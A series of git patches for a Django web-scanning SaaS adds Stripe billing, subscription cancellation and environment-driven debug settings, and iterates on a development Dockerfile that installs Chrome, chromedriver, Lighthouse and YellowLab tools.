+            stripe.PaymentMethod.attach(
+                pay_method_id,
+                customer=account.cust_id,
+            )
+
+            stripe.Customer.modify(
+                account.cust_id,
+                invoice_settings={
+                    'default_payment_method': pay_method.id,
+                }
+            )
+
+            stripe.Subscription.modify(
+                account.sub_id,
+                default_payment_method=pay_method.id
+            )
+            
+            Card.objects.filter(account=account).update(
+                user = request.user,
+                account = account,
+                pay_method_id = pay_method.id,
+                brand = pay_method.card.brand,
+                exp_year = pay_method.card.exp_year,
+                exp_month = pay_method.card.exp_month,
+                last_four = pay_method.card.last4
+            )
+
+        else:
+            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
+
+            stripe.Subscription.modify(
+                account.sub_id,
+                default_payment_method=pay_method.id
+            )
+
+            Card.objects.create(
+                user = request.user,
+                account = account,
+                pay_method_id = pay_method.id,
+                brand = pay_method.card.brand,
+                exp_year = pay_method.card.exp_year,
+                exp_month = pay_method.card.exp_month,
+                last_four = pay_method.card.last4
+                
+            )
+        
+
+        card = Card.objects.get(account=account)
+        account.active = True
+        account.save()
+
+        data = {
+            'card': {
+                'brand': card.brand,
+                'exp_year': card.exp_year,
+                'exp_month': card.exp_month,
+                'last_four': card.last_four,
+            },
+            'plan': {
+                'name': account.type,
+                'active': account.active,
+                'price_amount': account.price_amount,
+                'max_sites': account.max_sites,
+                'max_pages': account.max_pages,
+                'max_schedules': account.max_schedules,
+                'retention_days': account.retention_days,
+                'testcases': account.testcases,
+                'slack': {
+                    'slack_name': account.slack['slack_name'], 
+                    'bot_user_id': account.slack['bot_user_id'], 
+                    'slack_team_id': account.slack['slack_team_id'], 
+                    'bot_access_token': account.slack['bot_access_token'], 
+                    'slack_channel_id': account.slack['slack_channel_id'], 
+                    'slack_channel_name': account.slack['slack_channel_name'],
+                }
+            },
+        }
+
+
+        return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+
+
 class GetBillingInfo(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]

From ff409d99356f24a684dedfa64878056513f18c0d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 08:33:47 -0700
Subject: [PATCH 261/752] adding annual billing

---
 app/api/models.py           | 2 ++
 app/api/v1/billing/views.py | 5 +++++
 2 files changed, 7 insertions(+)

diff --git a/app/api/models.py b/app/api/models.py
index f6d9f2ad..e2e67e1a 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -256,7 +256,9 @@ class Account(models.Model):
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
+    interval = models.CharField(max_length=50, serialize=True, null=True, blank=True, default='month')
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
+    meta = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return self.user.email
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 26fb63aa..e34c8148 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -146,6 +146,7 @@ def post(self, request):
             create_or_update_account(
                 user=user,
                 type=name,
+                interval=interval,
                 max_sites=max_sites,
                 max_pages=max_pages,
                 max_schedules=max_schedules,
@@ -205,6 +206,7 @@ def post(self, request):
             sub_id = subscription.id,
             product_id = product.id,
             price_id = price.id,
+            interval = interval,
             max_sites = max_sites,
             max_pages = max_pages,
             price_amount = price_amount,
@@ -299,6 +301,7 @@ def post(self, request):
                 'name': account.type,
                 'active': account.active,
                 'price_amount': account.price_amount,
+                'interval': account.interval,
                 'max_sites': account.max_sites,
                 'max_pages': account.max_pages,
                 'max_schedules': account.max_schedules,
@@ -348,6 +351,7 @@ def post(self, request):
                     'name': account.type,
                     'active': account.active,
                     'price_amount': account.price_amount,
+                    'interval': account.interval,
                     'max_sites': account.max_sites,
                     'max_pages': account.max_pages,
                     'max_schedules': account.max_schedules,
@@ -411,6 +415,7 @@ def post(self, request):
                     'name': account.type,
                     'active': account.active,
                     'price_amount': account.price_amount,
+                    'interval': account.interval,
                     'max_sites': account.max_sites,
                     'max_pages': account.max_pages,
                     'max_schedules': account.max_schedules,

From 6c45d028af59abae330c35af3721332ce5bfd021 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 10:56:54 -0700
Subject: [PATCH 262/752] added dynamic debuging

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 82789eb0..c1fd4878 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = False
+DEBUG = True if os.environ.get('DEBUG') == 'True' else False
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From f958101962afa5f1f06029a12baaa8033fd7284e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 11:08:56 -0700
Subject: [PATCH 263/752] fixing testcases param

---
 app/api/v1/billing/views.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index e34c8148..b9ede5af 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -137,9 +137,9 @@ def post(self, request):
         retention_days = int(request.data.get('retention_days'))
         testcases = str(request.data.get('testcases', False))
 
-        if testcases.lower() == 'true':
+        if str(testcases).lower() == 'true':
             testcases = True
-        if testcases.lower() == 'false':
+        if str(testcases).lower() == 'false':
             testcases = False
 
         if not Account.objects.filter(user=user).exists():

From c86dec1c4925e1bdc096cb5c68f27ce59e97020e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 11:27:21 -0700
Subject: [PATCH 264/752] fixing client_secret issue

---
 app/api/v1/billing/views.py | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index b9ede5af..1859dc4f 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -136,6 +136,8 @@ def post(self, request):
         max_schedules = int(request.data.get('max_schedules'))
         retention_days = int(request.data.get('retention_days'))
         testcases = str(request.data.get('testcases', False))
+        initial_call = True
+        client_secret = None
 
         if str(testcases).lower() == 'true':
             testcases = True
@@ -161,6 +163,7 @@ def post(self, request):
             customer = stripe.Customer.create(email=request.user.email)
 
         if account.cust_id is not None:
+            initial_call = False
             product = stripe.Product.modify(account.product_id, name=product_name)
             customer = stripe.Customer.retrieve(account.cust_id)
 
@@ -215,12 +218,14 @@ def post(self, request):
             testcases = testcases
         )        
 
+        if initial_call:
+            client_secret = subscription.latest_invoice.payment_intent.client_secret
+        
         data = {
             'subscription_id' : subscription.id,
-            'client_secret' : subscription.latest_invoice.payment_intent.client_secret,
+            'client_secret' : client_secret,
         }
 
-
         return Response(data, status=status.HTTP_200_OK)
 
 

From 22d6bb8e850cb8706cb47a72f64103ee4b55077f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 13:02:39 -0700
Subject: [PATCH 265/752] updated invoices

---
 app/api/v1/billing/views.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 1859dc4f..99573c73 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -462,7 +462,7 @@ def get(self, request):
                 obj = {
                     'id': invoice.id,
                     'status': invoice.status,
-                    'price_amount': invoice.lines.data[0]['price']['unit_amount'],
+                    'price_amount': invoice.amount_paid,
                     'created': invoice.created
                 }
                 i_list.append(obj)

From 506da1189837bcba16a15e86cfa6ff4bbdbc1465 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 13:06:05 -0700
Subject: [PATCH 266/752] added name to customer creation

---
 app/api/v1/billing/views.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 99573c73..11886c6f 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -160,7 +160,10 @@ def post(self, request):
         
         if account.cust_id is None:
             product = stripe.Product.create(name=product_name)
-            customer = stripe.Customer.create(email=request.user.email)
+            customer = stripe.Customer.create(
+                email=request.user.email,
+                name=f'{user.first_name} {user.last_name}'
+            )
 
         if account.cust_id is not None:
             initial_call = False

From 460b3518ed651e7da06ba7a7e6ac90071dbeafee Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 14:49:56 -0700
Subject: [PATCH 267/752] added subscription cancelation

---
 app/api/v1/billing/urls.py  |  1 +
 app/api/v1/billing/views.py | 75 ++++++++++++++++++++++++++++++++++++-
 2 files changed, 75 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py
index e8250160..00933aa8 100644
--- a/app/api/v1/billing/urls.py
+++ b/app/api/v1/billing/urls.py
@@ -11,6 +11,7 @@
     path('create-subscription', views.CreateSubscription.as_view(), name='create_subscription'),
     path('setup-subscription', views.SetupSubscription.as_view(), name='setup_subscription'),
     path('complete-subscription', views.CompleteSubscription.as_view(), name='complete_subscription'),
+    path('cancel-subscription', views.CancelSubscription.as_view(), name='cancel_subscription'),
     path('stripe-key', views.StripeKey.as_view(), name='stripe_key'),
     path('get-info', views.GetBillingInfo.as_view(), name='get_billing_info'),
     path('get-invoices', views.StripeInvoice.as_view(), name='stripe_invoices'),
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 11886c6f..4990c334 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -5,7 +5,8 @@
 from django.contrib.auth.models import User
 from django.core import serializers
 from django.forms.models import model_to_dict
-from ...models import Account, Card
+from ...models import Account, Card, Site
+from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
 from datetime import timedelta, datetime
 from scanerr import settings
@@ -446,6 +447,78 @@ def post(self, request):
 
 
 
+
+class CancelSubscription(APIView):
+    permission_classes = (IsAuthenticated,)
+    https_method_names = ['post',]
+
+    def post(self, request):
+        account = Account.objects.get(user=request.user)
+        stripe.api_key = settings.STRIPE_PRIVATE
+
+        if account.active == True:
+            stripe.Subscription.modify(
+                account.sub_id,
+                pause_collection={
+                    'behavior': 'mark_uncollectible',
+                    },
+            )
+            account.type = 'free'
+            account.max_sites = 1
+            account.max_schedules = 0
+            account.max_pages = 1
+            account.retention_days = '3'
+            account.interval = 'month'
+            account.price_amount = 0
+            account.testcases = False
+            account.save()
+        
+        # remove sites
+        sites = Site.objects.filter(account=account)
+        site_count = len(sites)
+        for site in sites:
+            if site_count > 1:
+                delete_site(request=request, id=site.id)
+            site_count -= 1
+
+        card = Card.objects.get(account=account)
+
+        data = {
+                'card': {
+                    'brand': card.brand,
+                    'exp_year': card.exp_year,
+                    'exp_month': card.exp_month,
+                    'last_four': card.last_four,
+                },
+                'plan': {
+                    'name': account.type,
+                    'active': account.active,
+                    'price_amount': account.price_amount,
+                    'interval': account.interval,
+                    'max_sites': account.max_sites,
+                    'max_pages': account.max_pages,
+                    'max_schedules': account.max_schedules,
+                    'retention_days': account.retention_days,
+                    'testcases': account.testcases,
+                    'slack': {
+                        'slack_name': account.slack['slack_name'], 
+                        'bot_user_id': account.slack['bot_user_id'], 
+                        'slack_team_id': account.slack['slack_team_id'], 
+                        'bot_access_token': account.slack['bot_access_token'], 
+                        'slack_channel_id': account.slack['slack_channel_id'], 
+                        'slack_channel_name': account.slack['slack_channel_name'],
+                    }
+                },
+            }
+
+        return Response(data, status=status.HTTP_200_OK)
+        
+
+
+
+
+
+
 class StripeInvoice(APIView):
     permission_classes = (IsAuthenticated,)
     https_method_names = ['get',]

From ae9c128c0440798618a5ccaadd91629236d3e15f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 14:52:50 -0700
Subject: [PATCH 268/752] removed single site save

---
 app/api/v1/billing/views.py | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 4990c334..e73bd6c8 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -475,11 +475,9 @@ def post(self, request):
         
         # remove sites
         sites = Site.objects.filter(account=account)
-        site_count = len(sites)
+        # site_count = len(sites)
         for site in sites:
-            if site_count > 1:
-                delete_site(request=request, id=site.id)
-            site_count -= 1
+            delete_site(request=request, id=site.id)
 
         card = Card.objects.get(account=account)
 

From 56174f50d1ae5d55995be3fe5266d5136c6130eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:33:08 -0700
Subject: [PATCH 269/752] testing ubuntu image

---
 Dockerfile.dev             | 75 ++++++++++++++++++++++++++++++++++++++
 app/api/utils/yellowlab.py |  1 +
 docker-compose.dev.yml     |  4 +-
 3 files changed, 78 insertions(+), 2 deletions(-)
 create mode 100644 Dockerfile.dev

diff --git a/Dockerfile.dev b/Dockerfile.dev
new file mode 100644
index 00000000..a7a551f3
--- /dev/null
+++ b/Dockerfile.dev
@@ -0,0 +1,75 @@
+FROM ubuntu:latest
+ENV PYTHONUNBUFFERED 1
+
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=2000
+ENV NODE_OPTIONS="--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP=false
+
+# trying to get latest version of chromedriver
+ENV CHROME_DRIVER_VERSION="curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE"
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+ENV DOCKERIZED yes
+
+# create the app user
+RUN addgroup --system app && adduser --system app 
+
+# installing python3 & pip
+RUN apt-get update && apt-get install -y python3 python3-pip
+
+# installing system deps (chromium-driver)
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
+    gfortran openssl libpq-dev curl libjpeg-dev chromium-browser \ 
+    libfontconfig wget
+
+# install chromedriver
+RUN wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
+    unzip ~/chromedriver_linux64.zip -d ~/ && \
+    rm ~/chromedriver_linux64.zip && \
+    sudo mv -f ~/chromedriver /usr/local/bin/chromedriver
+
+# installing yellowlab-specific system deps
+RUN apt-get update && apt-get install -y libfreetype6 git  \ 
+    libatk-bridge2.0-0 gconf-service libasound2 make \ 
+    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
+    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
+    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
+    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
+    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
+    libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
+
+# installing node and npm --> n lts
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n \
+    && n lts
+
+# cleaning npm
+RUN npm cache clean --force
+
+# installing lighthouse & yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
+
+# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
+RUN chromium --no-sandbox --version
+RUN chromium --disable-dev-shm-usage  --version
+
+# installing requirements
+COPY ./requirements.txt /requirements.txt
+RUN python3 -m pip install -r /requirements.txt
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/chromium
+
+# removing chromium config
+RUN rm -rf ~/.config/chromium
\ No newline at end of file
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index daadaf91..eda3eaa5 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -221,6 +221,7 @@ def get_data(self):
         
         # try API method if CLI fails
         except Exception as e:
+            print(e)
             print(f'YELLOWLAB CLI FAILED, Trying API...')
 
             try:
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 5752627a..d79ecee1 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -7,7 +7,7 @@ services:
     init: true
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.dev
     volumes:
       - ./app:/app
       - static_volume:/app/static
@@ -49,7 +49,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.dev
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr

From f546a84da994bd58f566b5dc05adab88a873757c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:38:47 -0700
Subject: [PATCH 270/752] added noninteractive

---
 Dockerfile.dev | 1 +
 1 file changed, 1 insertion(+)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index a7a551f3..cfbbe898 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -1,5 +1,6 @@
 FROM ubuntu:latest
 ENV PYTHONUNBUFFERED 1
+ENV DEBIAN_FRONTEND noninteractive
 
 # increasing allocated memory to node
 ENV NODE_OPTIONS=--max_old_space_size=2000

From 1608a68f78023244ad1c9d376f83bdc7aa762bf7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:40:30 -0700
Subject: [PATCH 271/752] added temp Docker.dev to watchlist

---
 .github/workflows/dev-deploy.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index bc257dd8..9de39732 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -9,6 +9,7 @@ on:
     paths:
       - 'app/**'
       - 'Dockerfile'
+      - 'Dockerfile.dev'
       - 'docker-compose.dev.yml'
       - '.github/workflows/**'
 

From 804f37849ff2b8b8ec769122d080496d8d889ef7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:49:58 -0700
Subject: [PATCH 272/752] testing

---
 Dockerfile.dev | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index cfbbe898..e859c595 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -3,12 +3,9 @@ ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 
 # increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=2000
-ENV NODE_OPTIONS="--max-old-space-size=2000"
-ENV GENERATE_SOURCEMAP=false
-
-# trying to get latest version of chromedriver
-ENV CHROME_DRIVER_VERSION="curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE"
+ENV NODE_OPTIONS --max_old_space_size=2000
+ENV NODE_OPTIONS "--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP false
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -29,7 +26,8 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig wget
 
 # install chromedriver
-RUN wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
+RUN CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE") && \
+    wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
     sudo mv -f ~/chromedriver /usr/local/bin/chromedriver

From 38e56c8454759ffd0323d269728c2bf77c5165a5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:55:28 -0700
Subject: [PATCH 273/752] testing

---
 Dockerfile.dev | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index e859c595..f3036624 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -23,14 +23,14 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 # installing system deps (chromium-driver)
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium-browser \ 
-    libfontconfig wget
+    libfontconfig wget unzip
 
 # install chromedriver
 RUN CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE") && \
     wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
-    sudo mv -f ~/chromedriver /usr/local/bin/chromedriver
+    mv -f ~/chromedriver /usr/local/bin/chromedriver
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From 779472f8345b7d7425f8f34ef1a7f5be1384ca7e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:21:32 -0700
Subject: [PATCH 274/752] testing

---
 Dockerfile.dev | 34 +++++++++++++++++++++-------------
 1 file changed, 21 insertions(+), 13 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index f3036624..145d04ff 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -10,8 +10,8 @@ ENV GENERATE_SOURCEMAP false
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+# telling phantomas where Chrome binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome
 ENV DOCKERIZED yes
 
 # create the app user
@@ -20,17 +20,25 @@ RUN addgroup --system app && adduser --system app
 # installing python3 & pip
 RUN apt-get update && apt-get install -y python3 python3-pip
 
-# installing system deps (chromium-driver)
+# installing system deps (chromium-driver chromium-browser)
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev chromium-browser \ 
-    libfontconfig wget unzip
+    gfortran openssl libpq-dev curl libjpeg-dev \ 
+    libfontconfig wget unzip gnupg
+
+# installing google-chrome-stable
+RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+    apt-get update -y; \
+    apt-get install -y google-chrome-stable;
 
 # install chromedriver
 RUN CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE") && \
     wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
-    mv -f ~/chromedriver /usr/local/bin/chromedriver
+    mv -f ~/chromedriver /usr/bin/chromedriver
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 
@@ -43,9 +51,9 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
     libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
 # installing node and npm --> n lts
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n \
-    && n lts
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends && \
+    npm install -g n && \
+    n lts
 
 # cleaning npm
 RUN npm cache clean --force
@@ -54,8 +62,8 @@ RUN npm cache clean --force
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN chromium --no-sandbox --version
-RUN chromium --disable-dev-shm-usage  --version
+RUN google-chrome --no-sandbox --version
+RUN google-chrome --disable-dev-shm-usage --version
 
 # installing requirements
 COPY ./requirements.txt /requirements.txt
@@ -68,7 +76,7 @@ WORKDIR /app
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
+RUN chown -R app:app /usr/bin/google-chrome
 
 # removing chromium config
-RUN rm -rf ~/.config/chromium
\ No newline at end of file
+# RUN rm -rf ~/.config/chromium
\ No newline at end of file

From 3fd61eaceaa811184aabc4d2a2dfa7cc3de8d996 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:27:18 -0700
Subject: [PATCH 275/752] removed duplicate context param

---
 docker-compose.dev.yml | 2 --
 1 file changed, 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index d79ecee1..67696f59 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -6,7 +6,6 @@ services:
     privileged: true
     init: true
     build:
-      context: .
       dockerfile: Dockerfile.dev
     volumes:
       - ./app:/app
@@ -48,7 +47,6 @@ services:
     privileged: true
     restart: always
     build:
-      context: .
       dockerfile: Dockerfile.dev
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From d86aacf545ecaf4848b184b4efba91fb629fec2d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:39:01 -0700
Subject: [PATCH 276/752] fixing version confliction issues

---
 Dockerfile.dev | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index 145d04ff..be69a98a 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -25,16 +25,15 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev \ 
     libfontconfig wget unzip gnupg
 
-# installing google-chrome-stable
+# installing google-chrome-stable & chromedriver
 RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
     apt-get update -y; \
-    apt-get install -y google-chrome-stable;
-
-# install chromedriver
-RUN CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE") && \
+    apt-get install -y google-chrome-stable && \
+    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
+    CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
     wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \

From 6492ee0fee9e98e49ba78afaeb0436e2e92704f7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:51:20 -0700
Subject: [PATCH 277/752] testing

---
 Dockerfile.dev | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index be69a98a..ffea9e53 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -34,7 +34,7 @@ RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
     apt-get install -y google-chrome-stable && \
     CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
     CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
-    wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
+    wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip" && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
     mv -f ~/chromedriver /usr/bin/chromedriver

From 4d17e12e3619bad8ed7cac37bc793712e5c9bad3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:57:47 -0700
Subject: [PATCH 278/752] testing

---
